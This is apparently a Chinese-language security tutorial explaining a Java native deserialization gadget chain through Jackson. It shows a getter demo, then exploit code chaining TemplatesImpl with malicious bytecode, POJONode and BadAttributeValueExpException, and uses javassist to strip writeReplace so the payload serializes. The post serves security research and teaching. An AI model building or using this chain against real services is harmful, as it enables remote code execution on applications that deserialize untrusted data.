Jackson 原生反序列化

Jackson的objectMapper.writeValueAsString会调用一个类中所有的getter方法。

测试如下

package jj;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class jacksonTest {
    public static void main(String[] args) throws JsonProcessingException {
        Message message = new Message();
        message.setCode(5199);

        ObjectMapper objectMapper = new ObjectMapper();
        String s = objectMapper.writeValueAsString(message);

        System.out.println("jackon string: " + s);
    }
}

Message.java

package jj;

import java.io.Serializable;

public class Message{
    int code;
    String detail;
    Object data;


    public void setCode(int code) {
        this.code = code;
    }

    public void setDetail(String detail) {
        this.detail = detail;
    }

    public void setData(Object data) {
        this.data = data;
    }

    public int getCode() {
        System.out.println("getCode");
        return this.code;
    }

    public String getDetail() {
        System.out.println("getDetail");
        return this.detail;
    }

    public Object getData() {
        System.out.println("getData");
        return this.data;
    }
    public Message(){

    }
    public Message(int code, String detail) {
        this.code = code;
        this.detail = detail;
    }

    public Message(int code, String detail, Object data) {
        this.code = code;
        this.detail = detail;
        this.data = data;
    }
}

CC3中所利用的TemplatesImpl就是用的其中的getTransletInstance来进行任意类加载的

而POJONode的toString方法最后会调用到JsonMapper.writeValueAsStringJsonMapper继承于objectMapper

toString方法又可以用CC5中的BadAttributeValueExpException来触发。所以一个简单的构造链就有了

public class Test {
    public static void main(String[] args) throws Exception {
        byte[] bytecode = Files.readAllBytes(Paths.get("src/main/java/Evil.class"));       // Evil bytecode
        byte[][] bytecodes = {bytecode};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates, "_name", "xx");
        setValue(templates, "_tfactory", new TransformerFactoryImpl());

        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, node);

        serialize(val);
//        unserialize("ser.bin");
    }

但是这个它在序列化的时候会报个错,原因出在POJONode的父类BaseJsonNode中,它实现了一个writeReplace方法。该方法是一个在对象序列化之前被调用的特殊方法,允许对象提供其替代对象进行序列化。

所以我们这里要将BaseJsonNodewriteReplace删去,完整代码如下

public class Test {
    public static void main(String[] args) throws Exception {
        byte[] bytecode = Files.readAllBytes(Paths.get("src/main/java/Evil.class"));       // Evil bytecode
        byte[][] bytecodes = {bytecode};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates, "_name", "xx");
        setValue(templates, "_tfactory", new TransformerFactoryImpl());

        // 删除 BaseJsonNode 的 writeReplace
        try {
            ClassPool _pool = ClassPool.getDefault();
            CtClass jsonNode = _pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            // 获取当前线程的上下文类加载器。类加载器用于加载类和资源
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            // 将修改后的 BaseJsonNode 类加载到 JVM 中
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, node);

        serialize(val);
//        unserialize("ser.bin");
    }